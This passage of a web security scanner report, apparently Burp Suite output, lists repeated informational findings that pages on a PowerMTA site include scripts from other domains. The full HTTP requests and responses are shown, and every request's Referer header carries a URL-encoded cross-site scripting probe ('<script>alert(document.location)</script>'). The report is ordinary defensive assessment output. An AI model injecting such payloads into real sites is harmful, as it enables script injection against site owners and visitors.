<script type="text/javascript" src="http://powermta1.com/wp-content/plugins/cforms/js/cforms.js"></script>
...[SNIP]...
<div style="position: absolute; left: 300px; top:0px; z-index: 2;"><script src="http://connect.facebook.net/en_US/all.js#xfbml=1"></script>
...[SNIP]...
</a>
<script src="http://platform.twitter.com/widgets.js" type="text/javascript"></script>
...[SNIP]...
</a>
<script src="http://platform.twitter.com/widgets.js" type="text/javascript"></script>
...[SNIP]...
</a>
<script src="http://platform.twitter.com/widgets.js" type="text/javascript"></script>
...[SNIP]...

16.71. http://www.powermta.port25.com/wp-content/themes/powermta1/images/phone-number.gif previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.powermta.port25.com
Path:	/wp-content/themes/powermta1/images/phone-number.gif

Issue detail

The response dynamically includes the following scripts from other domains:

http://connect.facebook.net/en_US/all.js
http://platform.twitter.com/widgets.js
http://powermta1.com/wp-content/plugins/cforms/js/cforms.js

Request

GET /wp-content/themes/powermta1/images/phone-number.gif HTTP/1.1
Host: www.powermta.port25.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.powermta.port25.com/wp-content/themes/powermta1/images/favicon.icof2d81%22%3E%3Cscript%3Ealert(document.location)%3C/script%3E9be443f7c69

Response

HTTP/1.1 404 Not Found
Date: Fri, 16 Sep 2011 15:35:50 GMT
Server: Apache mod_qos/9.69 mod_fcgid/2.3.6 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635
X-Pingback: http://www.powermta.port25.com/xmlrpc.php
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
Last-Modified: Fri, 16 Sep 2011 15:35:50 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 24829

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtm
...[SNIP]...
<link rel="stylesheet" type="text/css" href="http://powermta1.com/wp-content/plugins/cforms/styling/sidebar-layout.css" />
<script type="text/javascript" src="http://powermta1.com/wp-content/plugins/cforms/js/cforms.js"></script>
...[SNIP]...
<div style="position: absolute; left: 300px; top:0px; z-index: 2;"><script src="http://connect.facebook.net/en_US/all.js#xfbml=1"></script>
...[SNIP]...
</a>
<script src="http://platform.twitter.com/widgets.js" type="text/javascript"></script>
...[SNIP]...
</a>
<script src="http://platform.twitter.com/widgets.js" type="text/javascript"></script>
...[SNIP]...
</a>
<script src="http://platform.twitter.com/widgets.js" type="text/javascript"></script>
...[SNIP]...

16.72. http://www.powermta.port25.com/wp-content/themes/powermta1/images/powerMTA-footer-logo.png previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.powermta.port25.com
Path:	/wp-content/themes/powermta1/images/powerMTA-footer-logo.png

Issue detail

The response dynamically includes the following scripts from other domains:

http://connect.facebook.net/en_US/all.js
http://platform.twitter.com/widgets.js
http://powermta1.com/wp-content/plugins/cforms/js/cforms.js

Request

GET /wp-content/themes/powermta1/images/powerMTA-footer-logo.png HTTP/1.1
Host: www.powermta.port25.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.powermta.port25.com/wp-content/themes/powermta1/images/favicon.icof2d81%22%3E%3Cscript%3Ealert(document.location)%3C/script%3E9be443f7c69

Response

HTTP/1.1 404 Not Found
Date: Fri, 16 Sep 2011 15:35:54 GMT
Server: Apache mod_qos/9.69 mod_fcgid/2.3.6 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635
X-Pingback: http://www.powermta.port25.com/xmlrpc.php
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
Last-Modified: Fri, 16 Sep 2011 15:35:54 GMT
Content-Length: 24837
Content-Type: text/html; charset=UTF-8

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtm
...[SNIP]...
<link rel="stylesheet" type="text/css" href="http://powermta1.com/wp-content/plugins/cforms/styling/sidebar-layout.css" />
<script type="text/javascript" src="http://powermta1.com/wp-content/plugins/cforms/js/cforms.js"></script>
...[SNIP]...
<div style="position: absolute; left: 300px; top:0px; z-index: 2;"><script src="http://connect.facebook.net/en_US/all.js#xfbml=1"></script>
...[SNIP]...
</a>
<script src="http://platform.twitter.com/widgets.js" type="text/javascript"></script>
...[SNIP]...
</a>
<script src="http://platform.twitter.com/widgets.js" type="text/javascript"></script>
...[SNIP]...
</a>
<script src="http://platform.twitter.com/widgets.js" type="text/javascript"></script>
...[SNIP]...

16.73. http://www.powermta.port25.com/wp-content/themes/powermta1/images/powerMTA-logo.png previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.powermta.port25.com
Path:	/wp-content/themes/powermta1/images/powerMTA-logo.png

Issue detail

The response dynamically includes the following scripts from other domains:

http://connect.facebook.net/en_US/all.js
http://platform.twitter.com/widgets.js
http://powermta1.com/wp-content/plugins/cforms/js/cforms.js

Request

GET /wp-content/themes/powermta1/images/powerMTA-logo.png HTTP/1.1
Host: www.powermta.port25.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.powermta.port25.com/wp-content/themes/powermta1/images/favicon.icof2d81%22%3E%3Cscript%3Ealert(document.location)%3C/script%3E9be443f7c69

Response

HTTP/1.1 404 Not Found
Date: Fri, 16 Sep 2011 15:35:50 GMT
Server: Apache mod_qos/9.69 mod_fcgid/2.3.6 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635
X-Pingback: http://www.powermta.port25.com/xmlrpc.php
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
Last-Modified: Fri, 16 Sep 2011 15:35:50 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 24830

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtm
...[SNIP]...
<link rel="stylesheet" type="text/css" href="http://powermta1.com/wp-content/plugins/cforms/styling/sidebar-layout.css" />
<script type="text/javascript" src="http://powermta1.com/wp-content/plugins/cforms/js/cforms.js"></script>
...[SNIP]...
<div style="position: absolute; left: 300px; top:0px; z-index: 2;"><script src="http://connect.facebook.net/en_US/all.js#xfbml=1"></script>
...[SNIP]...
</a>
<script src="http://platform.twitter.com/widgets.js" type="text/javascript"></script>
...[SNIP]...
</a>
<script src="http://platform.twitter.com/widgets.js" type="text/javascript"></script>
...[SNIP]...
</a>
<script src="http://platform.twitter.com/widgets.js" type="text/javascript"></script>
...[SNIP]...

16.74. http://www.powermta.port25.com/wp-content/themes/powermta1/images/submit_btn.png previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.powermta.port25.com
Path:	/wp-content/themes/powermta1/images/submit_btn.png

Issue detail

The response dynamically includes the following scripts from other domains:

http://connect.facebook.net/en_US/all.js
http://platform.twitter.com/widgets.js
http://powermta1.com/wp-content/plugins/cforms/js/cforms.js

Request

GET /wp-content/themes/powermta1/images/submit_btn.png HTTP/1.1
Host: www.powermta.port25.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.powermta.port25.com/wp-content/themes/powermta1/images/favicon.icof2d81%22%3E%3Cscript%3Ealert(document.location)%3C/script%3E9be443f7c69
Cookie: PHPSESSID=ca5dec1508f53addddc0fabf237f0c8a

Response

HTTP/1.1 404 Not Found
Date: Fri, 16 Sep 2011 15:36:31 GMT
Server: Apache mod_qos/9.69 mod_fcgid/2.3.6 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635
X-Pingback: http://www.powermta.port25.com/xmlrpc.php
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
Last-Modified: Fri, 16 Sep 2011 15:36:31 GMT
Content-Length: 24827
Content-Type: text/html; charset=UTF-8

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtm
...[SNIP]...
<link rel="stylesheet" type="text/css" href="http://powermta1.com/wp-content/plugins/cforms/styling/sidebar-layout.css" />
<script type="text/javascript" src="http://powermta1.com/wp-content/plugins/cforms/js/cforms.js"></script>
...[SNIP]...
<div style="position: absolute; left: 300px; top:0px; z-index: 2;"><script src="http://connect.facebook.net/en_US/all.js#xfbml=1"></script>
...[SNIP]...
</a>
<script src="http://platform.twitter.com/widgets.js" type="text/javascript"></script>
...[SNIP]...
</a>
<script src="http://platform.twitter.com/widgets.js" type="text/javascript"></script>
...[SNIP]...
</a>
<script src="http://platform.twitter.com/widgets.js" type="text/javascript"></script>
...[SNIP]...

16.75. http://www.powermta.port25.com/wp-content/themes/powermta1/images/tag-line.jpg previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.powermta.port25.com
Path:	/wp-content/themes/powermta1/images/tag-line.jpg

Issue detail

The response dynamically includes the following scripts from other domains:

http://connect.facebook.net/en_US/all.js
http://platform.twitter.com/widgets.js
http://powermta1.com/wp-content/plugins/cforms/js/cforms.js

Request

GET /wp-content/themes/powermta1/images/tag-line.jpg HTTP/1.1
Host: www.powermta.port25.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.powermta.port25.com/wp-content/themes/powermta1/images/favicon.icof2d81%22%3E%3Cscript%3Ealert(document.location)%3C/script%3E9be443f7c69

Response

HTTP/1.1 404 Not Found
Date: Fri, 16 Sep 2011 15:35:54 GMT
Server: Apache mod_qos/9.69 mod_fcgid/2.3.6 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635
X-Pingback: http://www.powermta.port25.com/xmlrpc.php
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
Last-Modified: Fri, 16 Sep 2011 15:35:54 GMT
Content-Length: 24825
Content-Type: text/html; charset=UTF-8

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtm
...[SNIP]...
<link rel="stylesheet" type="text/css" href="http://powermta1.com/wp-content/plugins/cforms/styling/sidebar-layout.css" />
<script type="text/javascript" src="http://powermta1.com/wp-content/plugins/cforms/js/cforms.js"></script>
...[SNIP]...
<div style="position: absolute; left: 300px; top:0px; z-index: 2;"><script src="http://connect.facebook.net/en_US/all.js#xfbml=1"></script>
...[SNIP]...
</a>
<script src="http://platform.twitter.com/widgets.js" type="text/javascript"></script>
...[SNIP]...
</a>
<script src="http://platform.twitter.com/widgets.js" type="text/javascript"></script>
...[SNIP]...
</a>
<script src="http://platform.twitter.com/widgets.js" type="text/javascript"></script>
...[SNIP]...

16.76. http://www.powermta.port25.com/wp-content/themes/powermta1/images/twit-logo.gif previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.powermta.port25.com
Path:	/wp-content/themes/powermta1/images/twit-logo.gif

Issue detail

The response dynamically includes the following scripts from other domains:

http://connect.facebook.net/en_US/all.js
http://platform.twitter.com/widgets.js
http://powermta1.com/wp-content/plugins/cforms/js/cforms.js

Request

GET /wp-content/themes/powermta1/images/twit-logo.gif HTTP/1.1
Host: www.powermta.port25.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.powermta.port25.com/wp-content/themes/powermta1/images/favicon.icof2d81%22%3E%3Cscript%3Ealert(document.location)%3C/script%3E9be443f7c69

Response

HTTP/1.1 404 Not Found
Date: Fri, 16 Sep 2011 15:35:50 GMT
Server: Apache mod_qos/9.69 mod_fcgid/2.3.6 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635
X-Pingback: http://www.powermta.port25.com/xmlrpc.php
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
Last-Modified: Fri, 16 Sep 2011 15:35:50 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 24826

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtm
...[SNIP]...
<link rel="stylesheet" type="text/css" href="http://powermta1.com/wp-content/plugins/cforms/styling/sidebar-layout.css" />
<script type="text/javascript" src="http://powermta1.com/wp-content/plugins/cforms/js/cforms.js"></script>
...[SNIP]...
<div style="position: absolute; left: 300px; top:0px; z-index: 2;"><script src="http://connect.facebook.net/en_US/all.js#xfbml=1"></script>
...[SNIP]...
</a>
<script src="http://platform.twitter.com/widgets.js" type="text/javascript"></script>
...[SNIP]...
</a>
<script src="http://platform.twitter.com/widgets.js" type="text/javascript"></script>
...[SNIP]...
</a>
<script src="http://platform.twitter.com/widgets.js" type="text/javascript"></script>
...[SNIP]...

16.77. http://www.powermta.port25.com/wp-content/themes/powermta1/js/coda-slider.1.1.1.pack.js previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.powermta.port25.com
Path:	/wp-content/themes/powermta1/js/coda-slider.1.1.1.pack.js

Issue detail

The response dynamically includes the following scripts from other domains:

http://connect.facebook.net/en_US/all.js
http://platform.twitter.com/widgets.js
http://powermta1.com/wp-content/plugins/cforms/js/cforms.js

Request

GET /wp-content/themes/powermta1/js/coda-slider.1.1.1.pack.js HTTP/1.1
Host: www.powermta.port25.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.powermta.port25.com/wp-content/themes/powermta1/images/favicon.icof2d81%22%3E%3Cscript%3Ealert(document.location)%3C/script%3E9be443f7c69

Response

HTTP/1.1 404 Not Found
Date: Fri, 16 Sep 2011 15:35:49 GMT
Server: Apache mod_qos/9.69 mod_fcgid/2.3.6 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635
X-Pingback: http://www.powermta.port25.com/xmlrpc.php
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
Last-Modified: Fri, 16 Sep 2011 15:35:50 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 24834

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtm
...[SNIP]...
<link rel="stylesheet" type="text/css" href="http://powermta1.com/wp-content/plugins/cforms/styling/sidebar-layout.css" />
<script type="text/javascript" src="http://powermta1.com/wp-content/plugins/cforms/js/cforms.js"></script>
...[SNIP]...
<div style="position: absolute; left: 300px; top:0px; z-index: 2;"><script src="http://connect.facebook.net/en_US/all.js#xfbml=1"></script>
...[SNIP]...
</a>
<script src="http://platform.twitter.com/widgets.js" type="text/javascript"></script>
...[SNIP]...
</a>
<script src="http://platform.twitter.com/widgets.js" type="text/javascript"></script>
...[SNIP]...
</a>
<script src="http://platform.twitter.com/widgets.js" type="text/javascript"></script>
...[SNIP]...

16.78. http://www.powermta.port25.com/wp-content/themes/powermta1/js/jquery-1.2.1.pack.js previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.powermta.port25.com
Path:	/wp-content/themes/powermta1/js/jquery-1.2.1.pack.js

Issue detail

The response dynamically includes the following scripts from other domains:

http://connect.facebook.net/en_US/all.js
http://platform.twitter.com/widgets.js
http://powermta1.com/wp-content/plugins/cforms/js/cforms.js

Request

GET /wp-content/themes/powermta1/js/jquery-1.2.1.pack.js HTTP/1.1
Host: www.powermta.port25.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.powermta.port25.com/wp-content/themes/powermta1/images/favicon.icof2d81%22%3E%3Cscript%3Ealert(document.location)%3C/script%3E9be443f7c69

Response

HTTP/1.1 404 Not Found
Date: Fri, 16 Sep 2011 15:35:46 GMT
Server: Apache mod_qos/9.69 mod_fcgid/2.3.6 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635
X-Pingback: http://www.powermta.port25.com/xmlrpc.php
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
Last-Modified: Fri, 16 Sep 2011 15:35:47 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 24829

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtm
...[SNIP]...
<link rel="stylesheet" type="text/css" href="http://powermta1.com/wp-content/plugins/cforms/styling/sidebar-layout.css" />
<script type="text/javascript" src="http://powermta1.com/wp-content/plugins/cforms/js/cforms.js"></script>
...[SNIP]...
<div style="position: absolute; left: 300px; top:0px; z-index: 2;"><script src="http://connect.facebook.net/en_US/all.js#xfbml=1"></script>
...[SNIP]...
</a>
<script src="http://platform.twitter.com/widgets.js" type="text/javascript"></script>
...[SNIP]...
</a>
<script src="http://platform.twitter.com/widgets.js" type="text/javascript"></script>
...[SNIP]...
</a>
<script src="http://platform.twitter.com/widgets.js" type="text/javascript"></script>
...[SNIP]...

16.79. http://www.powermta.port25.com/wp-content/themes/powermta1/js/jquery-easing-compatibility.1.2.pack.js previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.powermta.port25.com
Path:	/wp-content/themes/powermta1/js/jquery-easing-compatibility.1.2.pack.js

Issue detail

The response dynamically includes the following scripts from other domains:

http://connect.facebook.net/en_US/all.js
http://platform.twitter.com/widgets.js
http://powermta1.com/wp-content/plugins/cforms/js/cforms.js

Request

GET /wp-content/themes/powermta1/js/jquery-easing-compatibility.1.2.pack.js HTTP/1.1
Host: www.powermta.port25.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.powermta.port25.com/wp-content/themes/powermta1/images/favicon.icof2d81%22%3E%3Cscript%3Ealert(document.location)%3C/script%3E9be443f7c69

Response

HTTP/1.1 404 Not Found
Date: Fri, 16 Sep 2011 15:35:45 GMT
Server: Apache mod_qos/9.69 mod_fcgid/2.3.6 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635
X-Pingback: http://www.powermta.port25.com/xmlrpc.php
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
Last-Modified: Fri, 16 Sep 2011 15:35:46 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 24848

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtm
...[SNIP]...
<link rel="stylesheet" type="text/css" href="http://powermta1.com/wp-content/plugins/cforms/styling/sidebar-layout.css" />
<script type="text/javascript" src="http://powermta1.com/wp-content/plugins/cforms/js/cforms.js"></script>
...[SNIP]...
<div style="position: absolute; left: 300px; top:0px; z-index: 2;"><script src="http://connect.facebook.net/en_US/all.js#xfbml=1"></script>
...[SNIP]...
</a>
<script src="http://platform.twitter.com/widgets.js" type="text/javascript"></script>
...[SNIP]...
</a>
<script src="http://platform.twitter.com/widgets.js" type="text/javascript"></script>
...[SNIP]...
</a>
<script src="http://platform.twitter.com/widgets.js" type="text/javascript"></script>
...[SNIP]...

16.80. http://www.powermta.port25.com/wp-content/themes/powermta1/js/jquery-easing.1.2.pack.js previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.powermta.port25.com
Path:	/wp-content/themes/powermta1/js/jquery-easing.1.2.pack.js

Issue detail

The response dynamically includes the following scripts from other domains:

http://connect.facebook.net/en_US/all.js
http://platform.twitter.com/widgets.js
http://powermta1.com/wp-content/plugins/cforms/js/cforms.js

Request

GET /wp-content/themes/powermta1/js/jquery-easing.1.2.pack.js HTTP/1.1
Host: www.powermta.port25.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.powermta.port25.com/wp-content/themes/powermta1/images/favicon.icof2d81%22%3E%3Cscript%3Ealert(document.location)%3C/script%3E9be443f7c69

Response

HTTP/1.1 404 Not Found
Date: Fri, 16 Sep 2011 15:35:46 GMT
Server: Apache mod_qos/9.69 mod_fcgid/2.3.6 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635
X-Pingback: http://www.powermta.port25.com/xmlrpc.php
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
Last-Modified: Fri, 16 Sep 2011 15:35:47 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 24834

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtm
...[SNIP]...
<link rel="stylesheet" type="text/css" href="http://powermta1.com/wp-content/plugins/cforms/styling/sidebar-layout.css" />
<script type="text/javascript" src="http://powermta1.com/wp-content/plugins/cforms/js/cforms.js"></script>
...[SNIP]...
<div style="position: absolute; left: 300px; top:0px; z-index: 2;"><script src="http://connect.facebook.net/en_US/all.js#xfbml=1"></script>
...[SNIP]...
</a>
<script src="http://platform.twitter.com/widgets.js" type="text/javascript"></script>
...[SNIP]...
</a>
<script src="http://platform.twitter.com/widgets.js" type="text/javascript"></script>
...[SNIP]...
</a>
<script src="http://platform.twitter.com/widgets.js" type="text/javascript"></script>
...[SNIP]...

16.81. http://www.powermta.port25.com/wp-content/themes/powermta1/scripts/rsv.js previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.powermta.port25.com
Path:	/wp-content/themes/powermta1/scripts/rsv.js

Issue detail

The response dynamically includes the following scripts from other domains:

http://connect.facebook.net/en_US/all.js
http://platform.twitter.com/widgets.js
http://powermta1.com/wp-content/plugins/cforms/js/cforms.js

Request

GET /wp-content/themes/powermta1/scripts/rsv.js HTTP/1.1
Host: www.powermta.port25.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.powermta.port25.com/wp-content/themes/powermta1/images/favicon.icof2d81%22%3E%3Cscript%3Ealert(document.location)%3C/script%3E9be443f7c69

Response

HTTP/1.1 404 Not Found
Date: Fri, 16 Sep 2011 15:35:46 GMT
Server: Apache mod_qos/9.69 mod_fcgid/2.3.6 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635
X-Pingback: http://www.powermta.port25.com/xmlrpc.php
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
Last-Modified: Fri, 16 Sep 2011 15:35:46 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 24820

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtm
...[SNIP]...
<link rel="stylesheet" type="text/css" href="http://powermta1.com/wp-content/plugins/cforms/styling/sidebar-layout.css" />
<script type="text/javascript" src="http://powermta1.com/wp-content/plugins/cforms/js/cforms.js"></script>
...[SNIP]...
<div style="position: absolute; left: 300px; top:0px; z-index: 2;"><script src="http://connect.facebook.net/en_US/all.js#xfbml=1"></script>
...[SNIP]...
</a>
<script src="http://platform.twitter.com/widgets.js" type="text/javascript"></script>
...[SNIP]...
</a>
<script src="http://platform.twitter.com/widgets.js" type="text/javascript"></script>
...[SNIP]...
</a>
<script src="http://platform.twitter.com/widgets.js" type="text/javascript"></script>
...[SNIP]...

16.82. http://www.powermta.port25.com/wp-content/themes/powermta1/style.css previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.powermta.port25.com
Path:	/wp-content/themes/powermta1/style.css

Issue detail

The response dynamically includes the following scripts from other domains:

http://connect.facebook.net/en_US/all.js
http://platform.twitter.com/widgets.js
http://powermta1.com/wp-content/plugins/cforms/js/cforms.js

Request

GET /wp-content/themes/powermta1/style.css HTTP/1.1
Host: www.powermta.port25.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/css,*/*;q=0.1
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.powermta.port25.com/wp-content/themes/powermta1/images/favicon.icof2d81%22%3E%3Cscript%3Ealert(document.location)%3C/script%3E9be443f7c69

Response

HTTP/1.1 404 Not Found
Date: Fri, 16 Sep 2011 15:35:46 GMT
Server: Apache mod_qos/9.69 mod_fcgid/2.3.6 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635
X-Pingback: http://www.powermta.port25.com/xmlrpc.php
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
Last-Modified: Fri, 16 Sep 2011 15:35:47 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 24815

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtm
...[SNIP]...
<link rel="stylesheet" type="text/css" href="http://powermta1.com/wp-content/plugins/cforms/styling/sidebar-layout.css" />
<script type="text/javascript" src="http://powermta1.com/wp-content/plugins/cforms/js/cforms.js"></script>
...[SNIP]...
<div style="position: absolute; left: 300px; top:0px; z-index: 2;"><script src="http://connect.facebook.net/en_US/all.js#xfbml=1"></script>
...[SNIP]...
</a>
<script src="http://platform.twitter.com/widgets.js" type="text/javascript"></script>
